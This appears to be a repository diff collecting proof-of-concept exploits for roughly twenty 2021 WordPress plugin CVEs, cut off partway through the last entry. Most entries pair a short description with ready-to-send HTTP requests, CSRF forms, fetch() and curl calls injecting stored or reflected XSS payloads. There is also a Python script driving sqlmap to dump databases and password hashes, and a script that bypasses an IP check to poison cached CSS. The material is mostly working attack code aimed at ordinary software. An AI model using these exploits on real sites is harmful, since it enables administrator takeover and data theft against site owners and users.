14	+
15	+
16	+
17	+
18	+	Edit (WPScanTeam): Payload w/o user interaction other than accessing the calendar page: " style="animation-name:rotation" onanimationstart="alert(/XSS/)//
19	+

■ ■ ■ ■ ■ ■

CVE-2021-24454/README.md

1	+	# YOP Poll < 6.2.8 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	In the plugin, when a poll is created with the options "Allow other answers", "Display other answers in the result list" and "Show results", it can lead to Stored Cross-Site Scripting issues as the 'Other' answer is not sanitised before being output in the page. The execution of the XSS payload depends on the 'Show results' option selected, which could be before or after sending the vote for example.
5	+
6	+	# Proof of Concept
7	+	```
8	+	- Create a new poll that allows other answers, with the results of the other answers being displayed after voting.
9	+
10	+	- Set the permissions to whoever you'd like to be able to vote.
11	+
12	+	- Place it on a blog post.
13	+
14	+	- Insert '<script>alert('xss')</script>' into the Other box.
15	+
16	+	- Submit a vote. The payload gets triggered when reflected back to users.
17	+
18	+	- Whenever a new user votes, they will also be affected by the payload.
19	+	``
20	+

■ ■ ■ ■ ■ ■

CVE-2021-24498/README.md

1	+	# Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.
5	+
6	+	# Proof of Concept
7	+	```
8	+	https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22
9	+
10	+	&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22
11	+	```
12	+

■ ■ ■ ■ ■ ■

CVE-2021-24504/README.md

1	+	# WP LMS < 1.1.3 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)
5	+
6	+
7	+
8	+	v1.1.3 fixed the XSS by escaping and sanitising. Still no CSRF/capability check (confirmed to be also missing in 1.1.4)
9	+
10	+	# Proof of Concept
11	+	```
12	+	POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1
13	+
14	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
15	+
16	+	Accept-Language: en-GB,en;q=0.5
17	+
18	+	Accept-Encoding: gzip, deflate
19	+
20	+	Content-Type: application/x-www-form-urlencoded
21	+
22	+	Content-Length: 207
23	+
24	+	Connection: close
25	+
26	+	Upgrade-Insecure-Requests: 1
27	+
28	+
29	+
30	+	fieldtitle=Image%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&published=1&isvisitorpublished=1&required=0&search_user=1&search_visitor=1&form_request=jslearnmanager&id=28&isuserfield=0&fieldfor=3&save=Save
31	+
32	+
33	+
34	+	Then visit /wp-admin/admin.php?page=jslm_fieldordering&ff=3 as admin to trigger the XSS. It may also be triggered elsewhere
35	+	```
36	+

■ ■ ■ ■ ■ ■

CVE-2021-24508/README.md

1	+	# Smash Balloon Social Post Feed < 2.19.2 - Unauthenticated Stored XSS
2	+	Description
3	+	<br>
4	+	The plugin does not sanitise or escape the feedID POST parameter in its feed_locator AJAX action (available to both authenticated and unauthenticated users) before outputting a truncated version of it in the admin dashboard, leading to an unauthenticated Stored Cross-Site Scripting issue which will be executed in the context of a logged in administrator.
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	For the attack to be successful, the following requirements need to be meet
9	+
10	+	- Max payload size: 31 characters
11	+
12	+	- feedID parameter length must be greater than 31 characters to trigger the echo of unescaped data
13	+
14	+	- The shortCodeAtts parameter value must be uniq
15	+
16	+
17	+
18	+	POST /wp-admin/admin-ajax.php HTTP/1.1
19	+
20	+	Accept: application/json, text/javascript, /; q=0.01
21	+
22	+	Accept-Language: en-GB,en;q=0.5
23	+
24	+	Accept-Encoding: gzip, deflate
25	+
26	+	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
27	+
28	+	X-Requested-With: XMLHttpRequest
29	+
30	+	Content-Length: 192
31	+
32	+	Connection: close
33	+
34	+
35	+
36	+	action=feed_locator&feedLocatorData[0][feedID]=<img%20src%20onerror=alert(/XSS/)>
37	+
38	+	&feedLocatorData[0][shortCodeAtts]=uniq1234&feedLocatorData[0][postID]=1&feedLocatorData[0][location]=footer
39	+
40	+
41	+
42	+
43	+
44	+	XSS will be triggered at https://example.com/wp-admin/admin.php?page=cff-top&tab=allfeeds
45	+	```
46	+	# References
47	+	https://wpscan.com/vulnerability/2b543740-d4b0-49b5-a021-454a3a72162f
48	+

■ ■ ■ ■ ■ ■

CVE-2021-24556/README.md

1	+	# Email Subscriber <= 1.1 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The kento_email_subscriber_ajax AJAX action of the plugin, does not properly sanitise, validate and escape the submitted subscribe_email and subscribe_name POST parameters, inserting them in the DB and then outputting them back in the Subscriber list (/wp-admin/edit.php?post_type=kes_campaign&page=kento_email_subscriber_list_settings), leading a Stored XSS issue.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-admin/admin-ajax.php HTTP/1.1
9	+
10	+	Content-Length: 117
11	+
12	+	Accept: /
13	+
14	+	X-Requested-With: XMLHttpRequest
15	+
16	+	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
17	+
18	+	Accept-Language: en-US,en;q=0.9
19	+
20	+	Connection: close
21	+
22	+
23	+
24	+	action=kento_email_subscriber_ajax&subscribe_email=<script>alert(1)</script>&subscribe_name=<script>alert(1)</script>
25	+
26	+
27	+
28	+
29	+
30	+	Then view the Subscriber list (/wp-admin/edit.php?post_type=kes_campaign&page=kento_email_subscriber_list_settings) as admin to trigger the XSS
31	+	```
32	+	# References
33	+	https://wpscan.com/vulnerability/f050aedc-f79f-4b27-acac-0cdb33b25af8
34	+

■ ■ ■ ■ ■ ■

CVE-2021-24563/readme.md

1	+	# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
2	+	Date: 10/01/2022<br>
3	+	Exploit Author: Veshraj Ghimire<br>
4	+	Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/<br>
5	+	Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/<br>
6	+	Version: 1.3.2<br>
7	+	Tested on: Windows 10 - Chrome, WordPress 5.8.2<br>
8	+	CVE : CVE-2021-24563<br>
9	+
10	+	# References:
11	+
12	+	https://www.youtube.com/watch?v=lfrLoHl4-Zs
13	+	https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1
14	+
15	+	# Description:
16	+
17	+	The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly
18	+
19	+
20	+	# Proof Of Concept:
21	+
22	+	```
23	+	POST /wp-admin/admin-ajax.php HTTP/1.1
24	+
25	+	Accept:
26	+	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
27	+
28	+	Accept-Language: en-GB,en;q=0.5
29	+
30	+	Accept-Encoding: gzip, deflate
31	+
32	+	Content-Type: multipart/form-data;
33	+	boundary=---------------------------124662954015823207281179831654
34	+
35	+	Content-Length: 1396
36	+
37	+	Connection: close
38	+
39	+	Upgrade-Insecure-Requests: 1
40	+
41	+
42	+	-----------------------------124662954015823207281179831654
43	+
44	+	Content-Disposition: form-data; name="post_ID"
45	+
46	+
47	+	1247
48	+
49	+	-----------------------------124662954015823207281179831654
50	+
51	+	Content-Disposition: form-data; name="post_title"
52	+
53	+
54	+	test
55	+
56	+	-----------------------------124662954015823207281179831654
57	+
58	+	Content-Disposition: form-data; name="post_content"
59	+
60	+
61	+	test
62	+
63	+	-----------------------------124662954015823207281179831654
64	+
65	+	Content-Disposition: form-data; name="files[]"; filename="xss.html"
66	+
67	+	Content-Type: text/html
68	+
69	+
70	+	<script>alert(/XSS/)</script>
71	+
72	+	-----------------------------124662954015823207281179831654
73	+
74	+	Content-Disposition: form-data; name="action"
75	+
76	+
77	+	upload_ugc
78	+
79	+	-----------------------------124662954015823207281179831654
80	+
81	+	Content-Disposition: form-data; name="form_layout"
82	+
83	+
84	+	image
85	+
86	+	-----------------------------124662954015823207281179831654
87	+
88	+	Content-Disposition: form-data; name="fu_nonce"
89	+
90	+
91	+	021fb612f9
92	+
93	+	-----------------------------124662954015823207281179831654
94	+
95	+	Content-Disposition: form-data; name="_wp_http_referer"
96	+
97	+
98	+	/wordpress/frontend-uploader-form/
99	+
100	+	-----------------------------124662954015823207281179831654
101	+
102	+	Content-Disposition: form-data; name="ff"
103	+
104	+
105	+	92b6cbfa6120e13ff1654e28cef2a271
106	+
107	+	-----------------------------124662954015823207281179831654
108	+
109	+	Content-Disposition: form-data; name="form_post_id"
110	+
111	+
112	+	1247
113	+
114	+	-----------------------------124662954015823207281179831654--
115	+
116	+	```
117	+
118	+	Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html
119	+

■ ■ ■ ■ ■ ■

CVE-2021-24657/README.md

1	+	# Limit Login Attempts < 4.0.50 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not escape the IP addresses (which can be controlled by attacker via headers such as X-Forwarded-For) of attempted logins before outputting them in the reports table, leading to an Unauthenticated Stored Cross-Site Scripting issue.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-login.php HTTP/1.1
9	+
10	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
11	+
12	+	Accept-Language: en-GB,en;q=0.5
13	+
14	+	Accept-Encoding: gzip, deflate
15	+
16	+	Content-Type: application/x-www-form-urlencoded
17	+
18	+	Content-Length: 43
19	+
20	+	Connection: close
21	+
22	+	Upgrade-Insecure-Requests: 1
23	+
24	+	X-Forwarded-For:<script>alert(/XSS/)</script>
25	+
26	+
27	+
28	+	log=aa&pwd=dd&wp-submit=Log+In&testcookie=1
29	+
30	+
31	+
32	+
33	+
34	+	The XSS will be triggered when viewing the report page (/wp-admin/admin.php?page=reports)
35	+	```
36	+

■ ■ ■ ■ ■ ■

CVE-2021-24756/README.md

1	+	# WP System Log < 1.0.21 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+	<br>
4	+	The plugin does not sanitise, validate and escape the IP address retrieved from login requests before outputting them in the admin dashboard, which could allow unauthenticated attacker to perform Cross-Site Scripting attacks against admins viewing the logs.
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-login.php HTTP/1.1
9	+
10	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
11	+
12	+	Accept-Language: en-GB,en;q=0.5
13	+
14	+	Accept-Encoding: gzip, deflate
15	+
16	+	Content-Type: application/x-www-form-urlencoded
17	+
18	+	Content-Length: 54
19	+
20	+	X-Forwarded-For: <script>alert(/XSS/)</script>
21	+
22	+	Connection: close
23	+
24	+	Cookie: wordpress_test_cookie=WP+Cookie+check
25	+
26	+	Upgrade-Insecure-Requests: 1
27	+
28	+
29	+
30	+	log=a&pwd=b&wp-submit=Log+In
31	+
32	+
33	+
34	+
35	+
36	+	The XSS will be triggered in the Activity Log dashboard: /wp-admin/admin.php?page=winteractivitylog
37	+	```
38	+	# References
39	+	https://wpscan.com/vulnerability/0cea0717-8f54-4f1c-b3ee-aff7dd91bf59
40	+

■ ■ ■ ■ ■ ■

CVE-2021-24762/README.md

1	+	# Exploit Title: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)<br>
2	+	Date 18.02.2022<br>
3	+	Exploit Author: Ron Jost (Hacker5preme)<br>
4	+	Vendor Homepage: https://www.getperfectsurvey.com/<br>
5	+	Software Link: https://web.archive.org/web/20210817031040/https://downloads.wordpress.org/plugin/perfect-survey.1.5.1.zip<br>
6	+	Version: < 1.5.2<br>
7	+	Tested on: Ubuntu 20.04<br>
8	+	CVE: CVE-2021-24762<br>
9	+	CWE: CWE-89<br>
10	+	Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24762/README.md<br>
11	+
12	+	Description:<br>
13	+	The Perfect Survey WordPress plugin before 1.5.2 does not validate and escape<br> the question_id GET parameter before<br>
14	+	using it in a SQL statement in the get_question AJAX action, allowing <br>unauthenticated users to perform SQL injection.
15	+

■ ■ ■ ■ ■ ■

CVE-2021-24762/exploit.py

1	+	import argparse
2	+	from datetime import datetime
3	+	import os
4	+	banner = '''
5	+
6	+	___ _ _ ______ ____ ____ ____ ___ ____ _ _ _______ _____ ____
7	+	_(___)_ (_) (_)(______) _(____) (____) _(____) (___) _(____)(_) (_)(_______)(_____) _(____)
8	+	(_) (_)(_) (_)(_)__ ______(_) _(_)(_) (_)(_) _(_)(_)(_) ______(_) _(_)(_)__(_)_ _(_)(_)___ (_) _(_)
9	+	(_) _ (_) (_)(____)(______) _(_) (_) (_) _(_) (_)(______) _(_) (________)_(_) (_____)_ _(_)
10	+	(_)___(_) (_)_(_) (_)____ (_)___ (_)__(_) (_)___ (_) (_)___ (_) (_) (_)___(_)(_)___
11	+	(___) (___) (______) (______) (____) (______) (_) (______) (_)(_) (_____)(______)
12	+
13	+
14	+	[+] Perfect Survey - SQL Injection
15	+	[@] Developed by Ron Jost (Hacker5preme)
16	+
17	+	'''
18	+	print(banner)
19	+	# User-Input:
20	+	my_parser = argparse.ArgumentParser(description= 'Perfect Survey - SQL-Injection (unauthenticated)')
21	+	my_parser.add_argument('-T', '--IP', type=str)
22	+	my_parser.add_argument('-P', '--PORT', type=str)
23	+	my_parser.add_argument('-U', '--PATH', type=str)
24	+	args = my_parser.parse_args()
25	+	target_ip = args.IP
26	+	target_port = args.PORT
27	+	wp_path = args.PATH
28	+
29	+	print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
30	+	print('[*] Payload for SQL-Injection:')
31	+	exploitcode_url = r'sqlmap "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=get_question&question_id=1 *" '
32	+	print(' Sqlmap options:')
33	+	print(' -a, --all Retrieve everything')
34	+	print(' -b, --banner Retrieve DBMS banner')
35	+	print(' --current-user Retrieve DBMS current user')
36	+	print(' --current-db Retrieve DBMS current database')
37	+	print(' --passwords Enumerate DBMS users password hashes')
38	+	print(' --tables Enumerate DBMS database tables')
39	+	print(' --columns Enumerate DBMS database table column')
40	+	print(' --schema Enumerate DBMS schema')
41	+	print(' --dump Dump DBMS database table entries')
42	+	print(' --dump-all Dump all DBMS databases tables entries')
43	+	retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
44	+	exploitcode = exploitcode_url + retrieve_mode + ' --answers="follow=Y" --batch -v 0'
45	+	os.system(exploitcode)
46	+	print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))

■ ■ ■ ■ ■ ■

CVE-2021-24765/README.md

1	+	# Perfect Survey < 1.5.2 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+	<br>
4	+	The plugin does not validate and escape the X-Forwarded-For header value before outputting it in the statistic page when the Anonymize IP setting of a survey is turned off, leading to a Stored Cross-Site Scripting issue
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	jQuery.post({data:{
9	+
10	+	ps_questions:{1:["1"]},
11	+
12	+	action:"save_question_data",
13	+
14	+	ID:"765",
15	+
16	+	},url:"https://example.com/wp-admin/admin-ajax.php",headers:{"X-Forwarded-For":"<script>alert(/XSS/)</script>"}})
17	+
18	+
19	+
20	+
21	+
22	+	POST /wp-admin/admin-ajax.php HTTP/1.1
23	+
24	+	Accept: /
25	+
26	+	Accept-Language: en-GB,en;q=0.5
27	+
28	+	Accept-Encoding: gzip, deflate
29	+
30	+	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
31	+
32	+	X-Forwarded-For: <script>alert(/XSS/)</script>
33	+
34	+	X-Requested-With: XMLHttpRequest
35	+
36	+	Content-Length: 60
37	+
38	+	Connection: close
39	+
40	+
41	+
42	+	ps_questions%5B1%5D%5B%5D=1&action=save_question_data&ID=765
43	+
44	+
45	+
46	+
47	+
48	+	Then go to https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=765
49	+	```
50	+	# References
51	+	https://wpscan.com/vulnerability/4440e7ca-1a55-444d-8f6c-04153302d750
52	+

■ ■ ■ ■ ■ ■

CVE-2021-24792/README.md

1	+	# Shiny Buttons <= 1.1.0 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not have any authorisation and CSRF in place when saving a template (wpbtn_save_template function hooked to the init action), nor sanitise and escape them before outputting them in the admin dashboard, which allow unauthenticated users to add a malicious template and lead to Stored Cross-Site Scripting issues.
5	+
6	+	# Proof of Concept
7	+	```
8	+	<html>
9	+
10	+	<body>
11	+
12	+	<form action="https://example.com/" method="POST">
13	+
14	+	<input type="hidden" name="wpbtn_tpl[id]" value="<script>alert(/XSS-id/)</script>" />
15	+
16	+	<input type="hidden" name="wpbtn_tpl[name]" value="<script>alert(/XSS-name/)</script>" />
17	+
18	+	<input type="hidden" name="wpbtn_tpl[bg_css]" value="background: #6d0019;background: -moz-linear-gradient(top, #6d0019 0%, #a90329 74%);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#6d0019), color-stop(74%,#a90329));background: -webkit-linear-gradient(top, #6d0019 0%,#a90329 74%);background: -o-linear-gradient(top, #6d0019 0%,#a90329 74%);background: -ms-linear-gradient(top, #6d0019 0%,#a90329 74%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#6d0019', endColorstr='#a90329',GradientType=0 );background: linear-gradient(top, #6d0019 0%,#a90329 74%);" />
19	+
20	+	<input type="hidden" name="wpbtn_tpl[text_color]" value="ffffff" />
21	+
22	+	<input type="hidden" name="wpbtn_tpl[font]" value="Michroma" />
23	+
24	+	<input type="hidden" name="wpbtn_tpl[font_size]" value="12" />
25	+
26	+	<input type="hidden" name="wpbtn_tpl[font_weight]" value="normal" />
27	+
28	+	<input type="hidden" name="wpbtn_tpl[border_color]" value="ffffff" />
29	+
30	+	<input type="hidden" name="wpbtn_tpl[radius]" value="0" />
31	+
32	+	<input type="hidden" name="wpbtn_tpl[width]" value="0" />
33	+
34	+	<input type="hidden" name="do" value="Save Changes" />
35	+
36	+	<input type="submit" value="Submit request" />
37	+
38	+	</form>
39	+
40	+	</body>
41	+
42	+	</html>
43	+	```
44	+	# References
45	+	https://wpscan.com/vulnerability/29514d8e-9d1c-4fb6-b378-f6b7374989ca
46	+
47	+

■ ■ ■ ■ ■ ■

CVE-2021-24796/README.md

1	+	# My Tickets < 1.8.31 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not properly sanitise and escape the Email field of booked tickets before outputting it in the Payment admin dashboard, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins
5	+
6	+	# Proof of Concept
7	+	```
8	+	As unauthenticated, book a ticket, fill the purchase form with dummy data and intercept it to change the email address (which is validated client side but not server side) to something like <svg/onload=alert(/XSS/)>
9	+
10	+
11	+
12	+	POST /purchase/ HTTP/1.1
13	+
14	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
15	+
16	+	Accept-Language: en-GB,en;q=0.5
17	+
18	+	Accept-Encoding: gzip, deflate
19	+
20	+	Content-Type: application/x-www-form-urlencoded
21	+
22	+	Content-Length: 413
23	+
24	+	Origin: http://wp.lab
25	+
26	+	Connection: close
27	+
28	+	Cookie: mt_unique_id=-KFPBzwr-0Y2BZ1a
29	+
30	+	Upgrade-Insecure-Requests: 1
31	+
32	+
33	+
34	+	_wpnonce=97e4184df7&mt_gateway=offline&mt_cart_order%5B1950%5D%5Badult%5D%5Bcount%5D=1&mt_cart_order%5B1950%5D%5Badult%5D%5Bprice%5D=1.00&mt_cart_order%5B1950%5D%5Badult%5D%5Borig_price%5D=1&mt_fname=XSS&mt_lname=swd&mt_email=<svg/onload=alert(/XSS/)>&mt_email2=<svg/onload=alert(/XSS/)>&ticketing_method=printable&mt_submit=Review+cart+and+make+payment&my-tickets=true
35	+
36	+
37	+
38	+	Then confirm the Reservation. The XSS will be triggered when an admin view the Payments page in the admin dashboard (/wp-admin/edit.php?post_type=mt-payments)
39	+	```
40	+	# References
41	+	https://wpscan.com/vulnerability/d973dc0f-3cb4-408d-a8b0-01abeb9ef951
42	+

■ ■ ■ ■ ■ ■

CVE-2021-24797/README.md

1	+	# Tickera < 3.4.8.3 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not properly sanitise and escape the Name fields of booked Events before outputting them in the Orders admin dashboard, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins.
5	+
6	+	# Proof of Concept
7	+	```
8	+	As unauthenticated, book an Event, and put the following payload in the Buyer Info First or Last Name: <svg/onload=alert(/XSS/)>
9	+
10	+
11	+
12	+	The XSS will be triggered when admin view the Orders page in the admin dashboard (/wp-admin/edit.php?post_type=tc_orders)
13	+
14	+
15	+	https://www.youtube.com/watch?v=AGs6WqI4VAg
16	+	```
17	+	# References
18	+	https://wpscan.com/vulnerability/0eb07cc8-8a19-4e01-ab90-844495413453
19	+

■ ■ ■ ■ ■ ■

CVE-2021-24814/README.md

1	+	# WordPress GDPR & CCPA < 1.9.26 - Authenticated Reflected Cross-Site Scripting
2	+	Description
3	+
4	+	The check_privacy_settings AJAX action of the plugin, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. If the victim is an administrator with a valid session cookie, full control of the WordPress instance may be taken (AJAX calls and iframe manipulation are possible because the vulnerable endpoint is on the same domain as the admin panel - there is no same-origin restriction).
5	+
6	+
7	+
8	+	Note: v1.9.26 added a CSRF check in an attempt to fix the issue, which is not sufficient and the XSS can still be exploited against unauthenticated user. A separate issue has been created
9	+
10	+	# Proof of Concept
11	+	```
12	+	<html>
13	+
14	+	<body>
15	+
16	+	<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
17	+
18	+	<input type="hidden" name="action" value="check_privacy_settings" />
19	+
20	+	<input type="hidden" name="settings[40]" value="40" />
21	+
22	+	<input type="hidden" name="settings[41]" value="<body onload=alert(`XSS`)>" />
23	+
24	+	<input type="submit" value="Submit request" />
25	+
26	+	</form>
27	+
28	+	</body>
29	+
30	+	</html>
31	+
32	+
33	+
34	+
35	+
36	+	POST /wp-admin/admin-ajax.php HTTP/1.1
37	+
38	+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
39	+
40	+	Accept-Language: en-GB,en;q=0.5
41	+
42	+	Accept-Encoding: gzip, deflate
43	+
44	+	Content-Type: application/x-www-form-urlencoded
45	+
46	+	Content-Length: 105
47	+
48	+	Connection: close
49	+
50	+	Upgrade-Insecure-Requests: 1
51	+
52	+
53	+
54	+	action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(`XSS`)%3e
55	+	```
56	+

■ ■ ■ ■ ■ ■

CVE-2021-24964/README.md

1	+	# LiteSpeed Cache < 4.4.4 - IP Check Bypass to Unauthenticated Stored XSS
2	+	Description
3	+
4	+	The plugin does not properly verify that requests are coming from QUIC.cloud servers, allowing attackers to make requests to certain endpoints by using a specific X-Forwarded-For header value. In addition, one of the endpoint could be used to set CSS code if a setting is enabled, which will then be output in some pages without being sanitised and escaped. Combining those two issues, an unauthenticated attacker could put Cross-Site Scripting payloads in pages visited by users.
5	+
6	+	# Proof of Concept
7	+	```
8	+	The "Load CSS Asynchronously" setting in the Page Optimization (/wp-admin/admin.php?page=litespeed-page_optm) needs to be turned on for this to work
9	+
10	+
11	+
12	+	#!/bin/python3
13	+
14	+	import requests
15	+
16	+	import json
17	+
18	+
19	+
20	+	def get_whitelist_ips():
21	+
22	+	return requests.get("https://quic.cloud/ips", verify=False).text
23	+
24	+
25	+
26	+	print("[+] Getting the whitelisted ips...")
27	+
28	+
29	+
30	+	whitelist_ip = get_whitelist_ips().split("<br />")[0]
31	+
32	+
33	+
34	+	print(f"[+] Using {whitelist_ip}")
35	+
36	+
37	+
38	+	payload = "</style><script>alert(/XSS-cache/);</script>"
39	+
40	+	site = "https://example.com"
41	+
42	+
43	+
44	+	def poison(poison_keys, whitelist_ip):
45	+
46	+	for poison_key in poison_keys:
47	+
48	+	obj = {
49	+
50	+	"status": "done",
51	+
52	+	"data": {}
53	+
54	+	}
55	+
56	+	obj['data'][poison_key] = payload
57	+
58	+	res = requests.post(f"{site}/wp-json/litespeed/v1/notify_ccss", data=json.dumps(obj), headers={"X-Forwarded-For": whitelist_ip}, verify=False).json()
59	+
60	+	if res['count'] == 1:
61	+
62	+	print(f"We have successfully poisoned the {poison_key} key!")
63	+
64	+	else:
65	+
66	+	print(f"Failed to poison the {poison_key} key")
67	+
68	+
69	+
70	+
71	+
72	+	def get_keys_from_ccss(res):
73	+
74	+	obj = json.loads(res)
75	+
76	+	return [key for key in obj.keys() if "litespeed_conf.dat" not in obj[key]['url']]
77	+
78	+
79	+
80	+	while True:
81	+
82	+	res = requests.get(f"{site}/wp-content/litespeed/ccss/.litespeed_conf.dat", verify=False).text
83	+
84	+	#print("Waiting for ccss queue file to show up...")
85	+
86	+	if '","user_agent":"' in res:
87	+
88	+	#print(res)
89	+
90	+	poison_keys = get_keys_from_ccss(res)
91	+
92	+	poison(poison_keys, whitelist_ip)
93	+	```
94	+	# References
95	+	https://wpscan.com/vulnerability/e9966b3e-2eb9-4d70-8c18-6a829b4827cc
96	+
97	+

■ ■ ■ ■ ■ ■

CVE-2021-24967/README.md

1	+	# Contact Form & Lead Form Elementor Builder < 1.6.4 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not sanitise and escape some lead values, which could allow unauthenticated users to perform Cross-Site Scripting attacks against logged in admin viewing the inserted Leads
5	+
6	+	# Proof of Concept
7	+	```
8	+	fetch("https://example.com/wp-admin/admin-ajax.php", {
9	+
10	+	"headers": {
11	+
12	+	"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
13	+
14	+	},
15	+
16	+	"body": "name_1=%3Cscript%3Ealert(/XSS/)%3B%3C%2Fscript%3E&email_2=aa%40bb.cc&number_3=434323232&message_4=x&hidden_field=1&action=Save_Form_Data",
17	+
18	+	"method": "POST",
19	+
20	+	});
21	+
22	+
23	+
24	+	POST /wp-admin/admin-ajax.php HTTP/1.1
25	+
26	+	Accept: /
27	+
28	+	Accept-Language: en-GB,en;q=0.5
29	+
30	+	Accept-Encoding: gzip, deflate
31	+
32	+	Content-type: application/x-www-form-urlencoded; charset=UTF-8
33	+
34	+	Content-Length: 136
35	+
36	+	Connection: close
37	+
38	+
39	+
40	+	name_1=%3Cscript%3Ealert(/XSS/)%3B%3C%2Fscript%3E&email_2=aa%40bb.cc&number_3=434323232&message_4=x&hidden_field=1&action=Save_Form_Data
41	+
42	+
43	+
44	+	The XSS will be triggered when viewing the Leads at https://example.com/wp-admin/admin.php?page=all-form-leads
45	+	```
46	+
47	+

■ ■ ■ ■ ■ ■

CVE-2021-24973/README.md

1	+	# Site Reviews < 5.17.3 - Unauthenticated Stored Cross-Site Scripting
2	+	Description
3	+
4	+	The plugin does not sanitise and escape the site-reviews parameter of the glsr_action AJAX action (available to unauthenticated and any authenticated users), allowing them to perform Cross-Site Scripting attacks against logged in admins viewing the Tool dashboard of the plugin
5	+
6	+	# Proof of Concept
7	+	```
8	+	fetch("https://example.com/wp-admin/admin-ajax.php?action=glsr_action", {
9	+
10	+	"headers": {
11	+
12	+	"content-type": "application/x-www-form-urlencoded",
13	+
14	+	},
15	+
16	+	"body": "site-reviews[0]=</textarea><img+src+onerror=alert(1)>",
17	+
18	+	"method": "POST",
19	+
20	+	"credentials": "include"
21	+
22	+	})
23	+
24	+	.then(response => response.text())
25	+
26	+	.then(data => console.log(data));
27	+
28	+
29	+
30	+	POST /wp-admin/admin-ajax.php?action=glsr_action HTTP/1.1
31	+
32	+	Accept: /
33	+
34	+	Accept-Language: en-GB,en;q=0.5
35	+
36	+	Accept-Encoding: gzip, deflate
37	+
38	+	content-type: application/x-www-form-urlencoded
39	+
40	+	Content-Length: 57
41	+
42	+	Connection: close
43	+
44	+
45	+
46	+	site-reviews[0]=</textarea><img+src+onerror=alert(/XSS/)>
47	+
48	+
49	+
50	+	The XSS will be triggered when viewing the Tool dashboard of the plugin (/wp-admin/edit.php?post_type=site-review&page=glsr-tools)
51	+

■ ■ ■ ■ ■ ■

CVE-2021-24975/README.md

1	+	# NextScripts: Social Networks Auto-Poster < 4.3.24 - Unauthenticated Stored XSS
2	+	Description
3	+
4	+	The plugin does not sanitise and escape logged requests before outputting them in the related admin dashboard, leading to an Unauthenticated Stored Cross-Site Scripting issue
5	+
6	+	# Proof of Concept
7	+	```
8	+	curl -H 'x-tomato: <script>alert(/XSS/);</script>' 'https://example.com/?nxs-cronrun=yes'
9	+
10	+
11	+
12	+	The XSS will be triggered in the Log/History dashboard (/wp-admin/admin.php?page=nxs-log)
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2021-24977/README.md

1	+	# Use Any Font < 6.2.1 - Unauthenticated Arbitrary CSS Appending
2	+	Description
3	+
4	+	The plugin does not have any authorisation checks when assigning a font, allowing unauthenticated users to sent arbitrary CSS which will then be processed by the frontend for all users. Due to the lack of sanitisation and escaping in the backend, it could also lead to Stored XSS issues
5	+
6	+	# Proof of Concept
7	+	```
8	+	fetch("https://example.com/", {
9	+
10	+	"headers": {
11	+
